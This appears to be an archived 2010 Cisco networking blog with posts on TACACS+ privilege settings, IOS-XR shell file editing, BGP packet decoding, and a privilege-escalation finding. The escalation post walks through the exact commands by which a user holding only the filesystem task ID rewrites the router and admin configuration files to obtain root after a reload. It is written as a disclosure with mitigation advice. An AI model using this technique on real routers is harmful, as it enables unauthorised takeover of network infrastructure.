Saturday, October 9, 2010

Admin privileges in IOS, IOS-XR, NX-OS

For all of you that are using tacacs+ for AAA, if you want to assign admin privileges and permissions to your users, this is the configuration that has worked for me regarding a variety of Cisco devices:

IOS

user = username {
         default service = permit
         service = exec {
                 priv-lvl=15
         }
}

IOS-XR
user = username {
        default service = permit
        service = exec {
                optional task="#root-system"
        }
}

NX-OS

user = username {
        default service = permit
        service = exec {
                optional shell:roles="network-admin"
        }
}

Notes:

1) The above tacacs+ configuration is not the full one; it's just the parts that define the "admin" level for specific users.
2) The "optional" keyword in IOS-XR and NX-OS is used in order to make devices that do not understand these attributes simply ignore them.

If you also want to restrict users to specific commands, then you can use something like the following:

user = username {
         default service = deny
         cmd = terminal {
                 permit length.*
                 permit width.*
         }
         cmd = show {
                 permit radius.statistics
                 permit interface.*
                 permit ip.interface.*
         }
         cmd = clear {
                 permit radius.statistics
         }
}

Generally, command authorization is configured by specifying a list of egrep-style regular expressions to match command arguments and an action which is "deny" or "permit".

Note: Command authorization must have been enabled in your router configuration too. Also some commands (i.e. "clear") might need to have their privilege level changed.

The above configurations are from the freeware tacacs+ server, which has been heavily modified in order to suit our needs. Nevertheless, i believe they can apply to other versions too.

Sunday, September 26, 2010

How to edit text files in IOS-XR - The easy way

Everyone dealing with IOS-XR will know that you have the option of using an editor to edit your RPL (Routing Policy Language) configuration. As of 3.9.1 the available editors are the following:

  • nano
  • emacs
  • vim (enhanced version of vi)
So, instead of entering the configuration line by line in CLI, you can create it using an editor and a temporary file.

The same editors are also available for editing any text file that exists on your router's filesystem. In order to be able to use them, you just have to enter ksh mode by using the hidden "run" command. "run" is referenced briefly on CCO, but its usage is discouraged for everyday operation.

WARNING : Everything below this line is being done at your own risk. You probably don't want to experiment on a production network and you'd better use this functionality only under supervision of Cisco Support.

RP/0/RSP0/CPU0:asr9k#run
# pwd
/disk0a:/usr

QNX kernel:

# uname -a
QNX node0_RSP0_CPU0 6.4.0 2010/01/14-11:12:50PST asr9k ppcbe

All filesystem devices can be found under the root directory:

# cd /
# ls -al | grep ":$"
ls: Operation not supported (./nvram-raw:)
lrwxrwxrwx  1 0         0                11 Jun 14 22:19 bootflash -> /bootflash:
drwxrwxrwx  3 0         0                76 Jan 01  1970 bootflash:
lrwxrwxrwx  1 0         0                14 Jun 14 22:19 compactflash -> /compactflash:
drwxrwxrwx  3 0         0             16384 Sep 15 22:08 compactflash:
drwxrwxrwx  2 0         0               668 Jan 01  1970 configflash:
lrwxrwxrwx  1 0         0                 7 Jun 14 22:19 disk0 -> /disk0:
drwxrwxr-x 35 0         0              4096 Sep 26 21:50 disk0:
drwxrwxr-x  6 0         0              4096 Feb 25  2010 disk0a:
lrwxrwxrwx  1 0         0                 7 Jun 14 22:19 disk1 -> /disk1:
drwxrwxr-x 35 0         0              4096 Sep 26 21:50 disk1:
drwxrwxr-x  4 0         0              4096 Apr 08  2009 disk1a:
lrwxrwxrwx  1 0         0                22 Sep 26 22:07 dumper_bootflash: -> /qsm/dumper_bootflash:
lrwxrwxrwx  1 0         0                25 Sep 26 22:07 dumper_compactflash: -> /qsm/dumper_compactflash:
lrwxrwxrwx  1 0         0                24 Sep 26 22:07 dumper_configflash: -> /qsm/dumper_configflash:
lrwxrwxrwx  1 0         0                18 Sep 26 22:07 dumper_disk0: -> /qsm/dumper_disk0:
lrwxrwxrwx  1 0         0                19 Sep 26 22:07 dumper_disk0a: -> /qsm/dumper_disk0a:
lrwxrwxrwx  1 0         0                18 Sep 26 22:07 dumper_disk1: -> /qsm/dumper_disk1:
lrwxrwxrwx  1 0         0                19 Sep 26 22:07 dumper_disk1a: -> /qsm/dumper_disk1a:
lrwxrwxrwx  1 0         0                21 Sep 26 22:07 dumper_harddisk: -> /qsm/dumper_harddisk:
lrwxrwxrwx  1 0         0                22 Sep 26 22:07 dumper_harddiska: -> /qsm/dumper_harddiska:
lrwxrwxrwx  1 0         0                22 Sep 26 22:07 dumper_harddiskb: -> /qsm/dumper_harddiskb:
lrwxrwxrwx  1 0         0                20 Sep 26 22:07 dumper_lcdisk0: -> /qsm/dumper_lcdisk0:
lrwxrwxrwx  1 0         0                21 Sep 26 22:07 dumper_lcdisk0a: -> /qsm/dumper_lcdisk0a:
lrwxrwxrwx  1 0         0                18 Sep 26 22:07 dumper_nvram: -> /qsm/dumper_nvram:
lrwxrwxrwx  1 0         0                16 Jun 14 22:19 ftp: -> /qsm/dev/fs/ftp:
drwxrwxr-x 14 0         0              4096 Sep 26 21:49 harddisk:
drwxrwxr-x  4 0         0              4096 Aug 25 13:11 harddiska:
drwxrwxr-x  5 0         0              4096 Apr 08  2009 harddiskb:
lrwxrwxrwx  1 0         0                 7 Sep 26 22:07 install -> /disk0:
lrwxrwxrwx  1 0         0                 7 Sep 26 22:07 install_read -> /disk0:
drwxrwxrwx  0 0         0                 1 Jan 01  1970 nvram:
lrwxrwxrwx  1 0         0                16 Jun 14 22:19 rcp: -> /qsm/dev/fs/rcp:
lrwxrwxrwx  1 0         0                17 Jun 14 22:19 tftp: -> /qsm/dev/fs/tftp:

i.e. in order to edit the admin configuration using a much easier way, you just have to move to the correct path and edit the appropriate file (or your can supply the whole path in the same line).

# cd disk0:
# cd config/admin
# pwd
/disk0:/config/admin
# ls -al
total 20
drwxrwxrwx  2 0         0              4096 Sep 15 22:09 .
drwxr-xr-x  6 0         0              4096 Aug 25 13:35 ..
-rw-r--r--  1 0         0               416 Sep 15 22:09 admin.bin
-rwx------  1 0         0               307 Sep 14 19:06 admin.cfg
-rw-r--r--  1 0         0               416 Sep 15 22:09 admin_nonlr.bin
-rwx------  1 0         0               307 Sep 15 22:09 last_used.cfg

Now, you can use nano to edit a file:

# nano admin.cfg


Or you can use emacs, which has some "nice" drop-down menus:

# emacs admin.cfg



Perl is also available, if you want to experiment with scripting...

# perl -v

This is perl, v5.6.0 built for 4k-

Copyright 1987-2000, Larry Wall

Perl may be copied only under the terms of either the Artistic License or the
GNU General Public License, which may be found in the Perl 5.0 source kit.

Complete documentation for Perl, including FAQ lists, should be found on
this system using `man perl' or `perldoc perl'.  If you have access to the
Internet, point your browser at http://www.perl.com/, the Perl Home Page.

...but i haven't tried to run complex scripts yet.

# cat test.pl
for ($count = 10; $count >= 1; $count--) {
        print "$count\n";
}
print "Ignition!\n";

# perl test.pl
10
9
8
7
6
5
4
3
2
1
Ignition!

The included perl modules are limited and i don't know if it's possible to add external ones.

# pwd
/pkg/lib/perl
# ls -alR

.:
total 156
-rwxrwxrwt  1 0         0             10167 Sep 07 21:46 AutoLoader.pm
dr-xr-xr-x  0 0         0                 1 Jan 01  1970 Carp
-rwxrwxrwt  1 0         0              4166 Sep 07 21:46 Carp.pm
-rwxrwxrwt  1 0         0             28050 Sep 07 21:46 DynaLoader.pm
-rwxrwxrwt  1 0         0             10377 Sep 07 21:46 Exporter.pm
dr-xr-xr-x  0 0         0                 1 Jan 01  1970 Sys
-rwxrwxrwt  1 0         0              3591 Sep 07 21:46 XSLoader.pm
dr-xr-xr-x  0 0         0                 1 Jan 01  1970 cisco
-rwxrwxrwt  1 0         0              2479 Sep 07 21:46 strict.pm
-rwxrwxrwt  1 0         0              2746 Sep 07 21:46 vars.pm
dr-xr-xr-x  0 0         0                 1 Jan 01  1970 warnings
-rwxrwxrwt  1 0         0             14333 Sep 07 21:46 warnings.pm

./Carp:
total 17
-rwxrwxrwt  1 0         0              8632 Sep 07 21:46 Heavy.pm

./Sys:
total 8
-rwxrwxrwt  1 0         0              3719 Sep 07 21:46 Hostname.pm

./cisco:
total 2
dr-xr-xr-x  0 0         0                 1 Jan 01  1970 fm
dr-xr-xr-x  0 0         0                 1 Jan 01  1970 lib

./cisco/fm:
total 23
-rwxrwxrwt  1 0         0              3332 Sep 07 21:46 perl_fm_action.pm
-rwxrwxrwt  1 0         0              4301 Sep 07 21:46 perl_fm_event.pm
-rwxrwxrwt  1 0         0               765 Sep 07 21:46 perl_fm_misc.pm
-rwxrwxrwt  1 0         0              2558 Sep 07 21:46 perl_fm_util.pm

./cisco/lib:
total 5
-rwxrwxrwt  1 0         0              2304 Sep 07 21:46 smtp_lib.pm

./warnings:
total 2
-rwxrwxrwt  1 0         0               794 Sep 07 21:46 register.pm


Note : Since ksh gives you a kind of low level access, you have to be very careful with it.

Monday, September 13, 2010

How to get full root access in IOS-XR with just a single permission

During the last week i'm experimenting with an ASR9000 and IOS-XR and here is something tricky i found out yesterday.

You may already know that IOS-XR uses a different concept for users' permissions. In IOS you have users and privilege levels, while in IOS-XR you have Users, User Groups, Task Groups and Task IDs. In general, the operational tasks that enable users to control, configure, and monitor the router are represented by Task IDs. A Task ID defines the permission needed to perform a command. Users are associated with sets of Task IDs that define the capabilities of their authorized access to the router. More specifically:

Users belong to User Groups
User Groups include various Task Groups
Task Groups define Read/Write/Execute/Debug Task IDs
Task IDs correspond to specific CLI commands

By following the above relationship in reverse order you end up with the required configuration.

1) In order to find the corresponding Task ID for a cli command, you can execute the "describe" command followed by the CLI command you're interested to.

RP/0/RSP0/CPU0:asr9k#describe show interfaces
The command is defined in show_interface.parser

Node 0/RSP0/CPU0 has file show_interface.parser for boot package /disk0/asr9k-os-mbi-3.9.1.CSCtg50404-1.0.0/mbiasr9k-rp.vm from asr9k-base
Package:
    asr9k-base
        asr9k-base V3.9.1[00]  Base Package for ASR9K
        Vendor : Cisco Systems
        Desc   : Base Package for ASR9K
        Build  : Built on Sun May  2 09:32:03 EET 2010
        Source : By sjc-lds-511 in /auto/srcarchive4/production/3.9.1/asr9k/workspace for c4.2.1-p0
        Card(s): RP, RP-B, HRP, OC3-POS-4, OC12-POS, GE-3, OC12-POS-4, OC48-POS, E3-OC48-POS, E3-OC12-POS-4, E3-OC3-POS-16, E3-OC3-POS-8, E3-OC3-POS-4, E3-OC48-CH, E3-OC12-CH-4, E3-GE-4, E3-OC3-ATM-4, E3-OC12-ATM-4, E5-CEC, E5-CEC-v2, SE-SEC, NP24-4x10GE, NP24-40x1GE, NP40-40x1GE, NP40-4x10GE, NP40-8x10GE, NP40-2_20_COMBO, NP80-8x10GE, NP80-16x10GE, LC, E3-OC12-CH-1, E7-CEC, A9K-SIP-700
        Restart information:
          Default:
            parallel impacted processes restart

Component:
    pfi-im-cmd V[r39x/4]  PFI show commands

File:
    show_interface.parser
        Card(s)              : RP, DRP, SC
        File type            : Default
        Remotely-hosted      : No
        Local view           : /pkg/parser/show_interface.parser
        Local install path   : /disk0/asr9k-base-3.9.1/parser/show_interface.parser
        Central install path : /disk0/asr9k-base-3.9.1/parser/show_interface.parser


User needs ALL of the following taskids:

        interface (READ)

It will take the following actions:
  Spawn the process:
        show_interface -a

So, for the "sh int" command you need to have access to the "interface (READ)" Task ID. Keep in mind that Task IDs grant permission to perform certain tasks; Task IDs do not deny permission to perform tasks.

2) You create a new Task Group and put the above Task Id under it.

taskgroup TEST-TASKGROUP
 task read interfaces

3) You create a new User Group and put the above Task Group under it.

usergroup TEST-USERGROUP
 taskgroup TEST-TASKGROUP

4) You create a new user and put the above User Group under it.

username TESTUSER
 group TEST-USERGROUP

Now, when the above user logs in, he will have access only to specific commands that are associated with this Task ID (plus some others which are enabled by default). Also, he will be able to see the configuration of all interfaces.

Before the Task ID was enabled:

RP/0/RSP0/CPU0:asr9k#sh int ?
% This command is not authorized

After the Task ID was enabled:

RP/0/RSP0/CPU0:asr9k#sh int ?
  ATM              ATM Network Interface(s)
  Bundle-Ether     Aggregated Ethernet interface(s)
  Bundle-POS       Aggregated POS interface(s)
  FastEthernet     FastEthernet/IEEE 802.3 interface(s)
  GigabitEthernet  GigabitEthernet/IEEE 802.3 interface(s)
...

IOS-XR uses at least 2 running configurations on the ASR9000. The first one is called admin running configuration and you have to enter admin EXEC mode in order to view or change it. The other is called SDR running configuration and it is like the one that IOS uses (actually you have one running configuration per Secure Domain Router (SDR), but only one SDR is available on the ASR9000).

Only users with root-system privileges can access the administration modes by logging in to the RSP for the owner SDR (called the designated shelf controller (DSC)). Administration modes are used to view and manage system-wide resources and logs. Users with root-system privileges have access to system-wide features and resources. The root-system user is created during the initial boot and configuration of the router.

Now, let's suppose you are a root user and you want to allow a user to check the contents of a directory or a file. The "filesystem" Task ID is the one that will allow the user to execute the "dir" and "more" commands.

RP/0/RSP0/CPU0:asr9k#describe more nvram:classic-rommon-var
...
User needs ALL of the following taskids:

        filesystem (EXECUTE)

...

The following user is allowed to do only that.

RP/0/RSP0/CPU0:asr9k#sh user
test

RP/0/RSP0/CPU0:asr9k#sh user tasks
Task:           filesystem  :                  EXECUTE

With a little bit of searching on the available filesystems, you'll find out that this particular user can also view both the SDR and admin configurations in their full glory! These files are stored in clear text (ASCII) too, so everyone with access on the execute operation of the filesystem Task ID can also have access to their contents.

RP/0/RSP0/CPU0:asr9k#dir disk0:config/admin

Directory of disk0:/config/admin

6810        -rw-  416         Sat Sep 11 18:32:51 2010  admin_nonlr.bin
6811        -rw-  416         Sat Sep 11 18:32:51 2010  admin.bin
9418222     -rwx  307         Sat Sep 11 17:37:09 2010  admin.cfg
6813        -rwx  307         Sat Sep 11 18:32:50 2010  last_used.cfg

1644150784 bytes total (1175237120 bytes free)

RP/0/RSP0/CPU0:asr9k#more disk0:config/admin/admin.cfg
!! IOS XR Admin Configuration 3.9.1
...

RP/0/RSP0/CPU0:asr9k#dir disk0:config/running/alternate_cfg

Directory of disk0:/config/running/alternate_cfg

3991330     -rwx  11312       Sun Sep 12 01:53:25 2010  router.cfg
3991331     -rwx  7558        Tue Sep  7 22:09:15 2010  last_used.cfg

RP/0/RSP0/CPU0:asr9k#more disk0:config/running/alternate_cfg/router.cfg
!! IOS XR Configuration 3.9.1
!! Last configuration change at Sun Sep 12 00:50:30 2010 by xxx
...

The above is not exactly the running configuration, it's like a "backup" one (or a secondary one) which seems to get synced to the actual (or primary) running configuration in special cases, like when you do a reload or activate a package. You can find the actual SDR configuration (in clear text too) under "disk0:/config/lr/running/nvgen" split in various parts:

RP/0/RSP0/CPU0:asr9k#dir disk0:config/lr/running/nvgen

Directory of disk0:/config/lr/running/nvgen

3992098     -rw-  100         Sun Sep 12 21:47:51 2010  nv_cur.cfg
3992099     -rw-  0           Sun Sep 12 21:20:11 2010  sh_admin.cf2
3992100     -rw-  1358        Sun Sep 12 21:47:50 2010  sh_os.cf2
3992101     -rw-  3220        Sun Sep 12 21:20:11 2010  sh_base.cf2
3858651     -rw-  0           Sun Sep 12 21:20:11 2010  sh_base_placed.cf2
3858657     -rw-  74          Sun Sep 12 21:47:50 2010  sh_p_domain_services.cf2
3992104     -rw-  4           Sun Sep 12 21:47:50 2010  sh_p_cdp_mgr.cf2
3858658     -rw-  0           Sun Sep 12 21:20:11 2010  sh_p_ip_expl_paths_daemon.cf2
3858659     -rw-  0           Sun Sep 12 21:20:11 2010  sh_p_rt_check_mgr.cf2
3858660     -rw-  0           Sun Sep 12 21:20:11 2010  sh_p_ipv4_rib.cf2
3992108     -rw-  28          Sun Sep 12 21:47:51 2010  sh_p_arp_gmp.cf2
...

i.e. to see the current access lists:

RP/0/RSP0/CPU0:asr9k#more disk0:config/lr/running/nvgen/sh_fwd_acl.cf2
ipv4 access-list 9
 10 permit ipv4 10.21.8.0 0.0.0.255 any
....

In case you have some level 7 passwords into the running configuration (something you should avoid doing since you have the "secret" option), then you're probably risking a lot, because these can be easily decrypted. Luckily, admin configuration doesn't allow such passwords.

What is more interesting is that the execute permission of the filesystem Task ID allows the user to also copy/overwrite a file (some configuration files are not allowed to be deleted, while some others are recreated "automatically" while doing a reload).


Here comes the tricky part...

There are some variables in ROM Monitor mode, that you can use in order to change the paths and names of configuration files, bypassing the normal startup procedure which by default loads the primary (binary) configuration.

i.e. permanently change the location of the default admin configuration file:

IOX_ADMIN_CONFIG_FILE=drive:path/file

i.e. permanently change the location of the router configuration file:

IOX_CONFIG_FILE=drive:path/file 

i.e. permanently change the default location where configuration files are saved:

IOX_CONFIG_MEDIUM=drive:path

Using the "set" command while in rommon will display their current values:

rommon B1 > set
...
IOX_ADMIN_CONFIG_FILE=
IOX_CONFIG_FILE=
IOX_CONFIG_MEDIUM=
...

Again, all the above rommon variables are saved in clear text too, so the test user can still find them by simply executing the "more" command from the CLI.

RP/0/RSP0/CPU0:asr9k#more nvram:classic-rommon-var
  PS1 = rommon ! > , IOX_ADMIN_CONFIG_FILE = , BOOT_DEV_SEQ_CONF = disk0:;disk1:, MIRROR_ENABLE = Y, TFTP_VERBOSE = 0, TFTP_RETRY_COUNT = 4, TFTP_TIMEOUT = 6000, TFTP_CHECKSUM = 0, TFTP_MGMT_INTF = 0, TURBOBOOT = , ? = 0, IP_ADDRESS = 10.200.73.34, IP_SUBNET_MASK = 255.255.255.252, DEFAULT_GATEWAY = 10.200.73.33, TFTP_SERVER = 10.21.8.24, ReloadReason = 1, BSI = 0, BOOT_DEV_SEQ_OPER = disk0:, BOOT = disk0:asr9k-os-mbi-3.9.1.CSCtg50404-1.0.0/mbiasr9k-rp.vm,1;, confreg = 0x2102^@

Now let's change IOX_CONFIG_FILE to point to a new configuration file. It doesn't really matter where the file is saved.

rommon B2 > IOX_CONFIG_FILE=disk0:running-config
rommon B3 > sync
rommon B4 > reset

Nothing different until now. The test user can still find and see the running-config as "expected":

RP/0/RSP0/CPU0:asr9k#more nvram:classic-rommon-var
  PS1 = rommon ! > , IOX_ADMIN_CONFIG_FILE = , BOOT_DEV_SEQ_CONF = disk0:;disk1:, MIRROR_ENABLE = Y, TFTP_VERBOSE = 0, TFTP_RETRY_COUNT = 4, TFTP_TIMEOUT = 6000, TFTP_CHECKSUM = 0, TFTP_MGMT_INTF = 0, TURBOBOOT = , IP_ADDRESS = 10.200.73.34, IP_SUBNET_MASK = 255.255.255.252, DEFAULT_GATEWAY = 10.200.73.33, TFTP_SERVER = 10.21.8.24, ReloadReason = 1, ? = 0, IOX_CONFIG_FILE = disk0:running-config, BSI = 0, BOOT_DEV_SEQ_OPER = disk0:, BOOT = disk0:asr9k-os-mbi-3.9.1.CSCtg50404-1.0.0/mbiasr9k-rp.vm,1;, confreg
= 0x2102^@

RP/0/RSP0/CPU0:asr9k#more disk0:running-config
!! IOS XR Configuration 3.9.1
!! Last configuration change at Mon Sep 13 01:58:33 2010 by xxx
...

Test user is still a member of the TESTGROUP User Group, which has limited access.

RP/0/RSP0/CPU0:asr9k#sh user tasks
Task:           filesystem  :                  EXECUTE

Step 1 : Test user copies the running configuration to a ftp server:

RP/0/RSP0/CPU0:asr9k#copy disk0:running-config ftp://10.21.8.24/test-config
Destination filename [test-config]?
Writing ftp://10.21.8.24/test-config
C
11314 bytes copied in      0 sec

Step 2 : Test user changes the contents of the above file in order to make himself member of the root-system User Group and uploads it in the same path as the original configuration, overwriting it.

RP/0/RSP0/CPU0:asr9k#copy ftp://10.21.8.24/test-config disk0:running-config
Destination filename [/disk0:/running-config]?
Copy : Destination exists, overwrite ?[confirm]
Accessing ftp://10.21.8.24/test-config
C
11311 bytes copied in      0 sec

Step 3 : Test user verifies that his changes are actually on the uploaded file:

RP/0/RSP0/CPU0:asr9k#more disk0:running-config
!! IOS XR Configuration 3.9.1
!! Last configuration change at Mon Sep 13 01:58:33 2010 by xxx
...
username test
 group root-system

Step 4 : A little bit later a Root user makes a reload and voila! Test user gets root access!

RP/0/RSP0/CPU0:asr9k#sh user
test

RP/0/RSP0/CPU0:asr9k#sh user tasks
Task:                  aaa  : READ    WRITE    EXECUTE    DEBUG
Task:                  acl  : READ    WRITE    EXECUTE    DEBUG
Task:                admin  : READ    WRITE    EXECUTE    DEBUG
Task:                 ancp  : READ    WRITE    EXECUTE    DEBUG
Task:                  atm  : READ    WRITE    EXECUTE    DEBUG
Task:       basic-services  : READ    WRITE    EXECUTE    DEBUG
Task:                 bcdl  : READ    WRITE    EXECUTE    DEBUG
Task:                  bfd  : READ    WRITE    EXECUTE    DEBUG
Task:                  bgp  : READ    WRITE    EXECUTE    DEBUG

The above happens only when you have set the rommon variable to use a different configuration file.

Exactly the same thing can happen for the admin configuration too. It's even easier there, because you can just upload a new file and overwrite the current one, without having to change the rommon variables. Then you'll get root access to the admin mode, which means you have admin access to the SDR too.

! check our current user credentials
RP/0/RSP0/CPU0:asr9k#sh user task
Task:           filesystem  :                  EXECUTE

! no admin access is allowed
RP/0/RSP0/CPU0:asr9k#admin
% This command is not authorized

! view the current admin config file
RP/0/RSP0/CPU0:asr9k#more disk0:config/admin/admin.cfg
!! IOS XR Admin Configuration 3.9.1
username root
 group root-system
 secret 5 xxx
!
end

! transfer the admin config file to a ftp server
RP/0/RSP0/CPU0:asr9k#copy disk0:config/admin/admin.cfg ftp://10.21.8.24/test-config
Destination filename [test-config]?
Writing ftp://10.21.8.24/test-config
C
384 bytes copied in      0 sec

! edit the admin config file and add a 2nd root user
!! IOS XR Admin Configuration 3.9.1
username root
 group root-system
 secret 5 xxx
!
username test-root
 group root-system
 secret 5 xxx
!
end

! upload the new admin config file and overwrite the old one
RP/0/RSP0/CPU0:asr9k#copy ftp://10.21.8.24/test-config disk0:config/admin/admin.cfg
Destination filename [/disk0:/config/admin/admin.cfg]?
Copy : Destination exists, overwrite ?[confirm]
Accessing ftp://10.21.8.24/test-config
C
465 bytes copied in      0 sec

! view the new admin config file
RP/0/RSP0/CPU0:asr9k#more disk0:config/admin/admin.cfg
!! IOS XR Admin Configuration 3.9.1
username root
 group root-system
 secret 5 xxx
!
username test-root
 group root-system
 secret 5 xxx
!
end

! wait for the admin (or persuade him) to make a reload
...

! test the new root account ;)
RP/0/RSP0/CPU0:asr9k#sh user
test-root
RP/0/RSP0/CPU0:asr9k#sh user task
Task:                  aaa  : READ    WRITE    EXECUTE    DEBUG
Task:                  acl  : READ    WRITE    EXECUTE    DEBUG
Task:                admin  : READ    WRITE    EXECUTE    DEBUG
Task:                 ancp  : READ    WRITE    EXECUTE    DEBUG
Task:                  atm  : READ    WRITE    EXECUTE    DEBUG
Task:       basic-services  : READ    WRITE    EXECUTE    DEBUG
Task:                 bcdl  : READ    WRITE    EXECUTE    DEBUG
...

! admin access is now allowed
RP/0/RSP0/CPU0:asr9k#admin
RP/0/RSP0/CPU0:asr9k(admin)#

What seems strange to me is that the primary configuration in IOS-XR is stored in binary (SysDB) format (you can find it in the same path as above) and the secondary one (which is in ASCII format) should be used only in case of emergency (corruption?). I guess a possible inconsistency between these 2 configurations after the reload, makes the ASCII configuration override the binary one. Keep in mind that while doing the reload, there are no warning messages about configuration inconsistencies.

Admin mode
If the actual admin executes "clear configuration inconsistency" or "cfs check" while in admin mode, the ASCII configuration you just uploaded will be updated by the current running configuration, so the changes will be lost. But, if a reload is executed from admin mode without first giving the above commands, then the test user will get root access after the reload.

SDR mode
If a reload is executed while on SDR, regardless of whether the above two commands are executed too, then there won't be any effect on the admin configurations and the test user will again get root access after the reload. After all, how often do you use the admin EXEC mode?

Imho, filesystem permissions should get re-organized. Critical files or "dynamic" paths where critical files reside should be available under a new Task ID.

Until the above is fixed, you should not allow every user to use the filesystem Task ID, unless there is absolute need to give the above permissions.

If you want to have better control of your users' permissions you should think of using an external aaa server (i.e. tacacs) and apply attributes that restrict them in executing specific commands with specific arguments.

Notes:
1) The availability of configuration modes always depends on the software packages that are installed on your system and on the router platform that you are using.
2) You can find a list of all Task IDs under IOS-XR 4.0 and their required permissions here.
3) I'm sure someone else will know a lot more about the IOS-XR internals (after all, everything written above was found by one week's experimentation). Please feel free to submit any corrections.
4) If you happen to have some extra permissions regarding utilities, then you can probably modify the configuration files online, by using xargs,perl,vim.

Saturday, August 28, 2010

Decoding the RIPE BGP experiment

A lot of you probably saw your BGP routers go crazy on Friday 27th of August in the morning, especially if you happened to have a CRS (or another router running IOS-XR, like a C12k or ASR9k) in your (or a near) network.

RIPE and Duke University decided to experiment with Quagga's BGP and the result was to make some routers reset their BGP sessions, because they were receiving malformed BGP update packets. Malformed packets were generated by other routers in the middle, not by the Quagga BGP daemon where the experiment started.

Error messages generated on BGP routers that had peerings with affected (i.e. IOS-XR) routers, were like the following:


%BGP-3-NOTIFICATION: sent to neighbor x.x.x.x 3/1 (update malformed) 188 bytes F0630BB8 00000000 00000000 00000000 00
BGP: x.x.x.x Bad attributes FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF 0118
0200 0000 FD40 0101 0040 0206 0202 0D1C 316E 4003 04C3 10A1 6180 0404 0000 0000 4005 0400 0000 3CC0 081C 0D1C 0002 0D1C 0016 0D1C 0056 0D1C
01F7 0D1C 029A 0D1C 0813 FDE8 FDDE F063 0BB8 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 185D AF90


According to BGP's RFC, the "3/1" in the error message translates to Code "UPDATE Message Error" and Subcode "Malformed Attribute List".

Wireshark offers an "easy" way to decode packets in ASCII format, as long as you feed them in the right way. The following perl script (which is based on my previous ciscodump2text) will convert the BGP packet included in the above Cisco error messages into a format that can be understood by Wireshark's text2pcap.


#!/opt/perl/bin/perl
#
# bgpdump2text v0.1
#
# Convert BGP packets included in Cisco BGP notification error messages
# to a special text format that can then be fed into text2pcap
# so a pcap file for Wireshark can be created at the end.
# You have to remove any extra characters included in the error messages.
#
# Copyright (C) 2010 Tassos (http://ccie-in-3-months.blogspot.com)
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see http://www.gnu.org/licenses/.

@packets = ();
$first_line = 0;


while (<>) {
$line = $_;

if ( ( $line =~ /^FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF/ ) || ( $first_line == 1 ) ) {
$first_line = 1;

$line =~ s/\s//g;
$packets[1] .= $line;
}
}

for ($i = 1; $i <= @packets; $i++) {

if ( exists $packets[$i] ) {

for ( $j = 0; $j < length($packets[$i]); $j += 2 ) {
if ( $j == 0 ) {
printf "# BGP Packet $i\n%08X", $j/2;
} elsif ( $j % 32 == 0 ) {
printf " #\n%08X", $j/2;
}
print " ".substr($packets[$i], $j, 2);
}

print " #\n";
}
}

print "\n";


By using as input a text file with the BGP packet as shown in the original error message, you'll get an output text file ready to be processed by text2pcap.

The format the source text file (test-bgp.text) should have is the following.


FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF 0118 0200 0000 FD40 0101 0040 0206 0202 0D1C
316E 4003 04C3 10A1 6180 0404 0000 0000 4005 0400 0000 3CC0 081C 0D1C 0002 0D1C 001
6 0D1C 0056 0D1C 01F7 0D1C 029A 0D1C 0813 FDE8 FDDE F063 0BB8 0000 0000 0000 0000 00
00 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0
000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 000
0 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 185D AF90


You just need to erase all extra characters from the original error message and it's ready. The actual data starts after the "Bad attributes" string. Keep in mind that the packet might have been spitted in more than one messages, like in the above case. Just remove the initial characters from every line and it'll be ok.

Script is executed like below:

tassos$ bgpdump2text test-bgp.text > test-bgp.txt


The generated text file (test-bgp.txt) will have the following contents:


# BGP Packet 1
00000000 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF #
00000010 01 18 02 00 00 00 FD 40 01 01 00 40 02 06 02 02 #
00000020 0D 1C 31 6E 40 03 04 C3 10 A1 61 80 04 04 00 00 #
00000030 00 00 40 05 04 00 00 00 3C C0 08 1C 0D 1C 00 02 #
00000040 0D 1C 00 16 0D 1C 00 56 0D 1C 01 F7 0D 1C 02 9A #
00000050 0D 1C 08 13 FD E8 FD DE F0 63 0B B8 00 00 00 00 #
00000060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 #
00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 #
00000080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 #
00000090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 #
000000A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 #
000000B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 #
000000C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 #
000000D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 #
000000E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 #
000000F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 #
00000100 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 #
00000110 00 00 00 00 18 5D AF 90 #


Note : right now, only one packet can be processed.

In our case (BGP data only) we need to add a L2 header, an IP header and a TCP header with values that resemble BGP, so we add the required parameters in the text2pcap program:


C:\Program Files\Wireshark>text2pcap.exe -T 179,1025 -d test-bgp.txt test-bgp.pcap
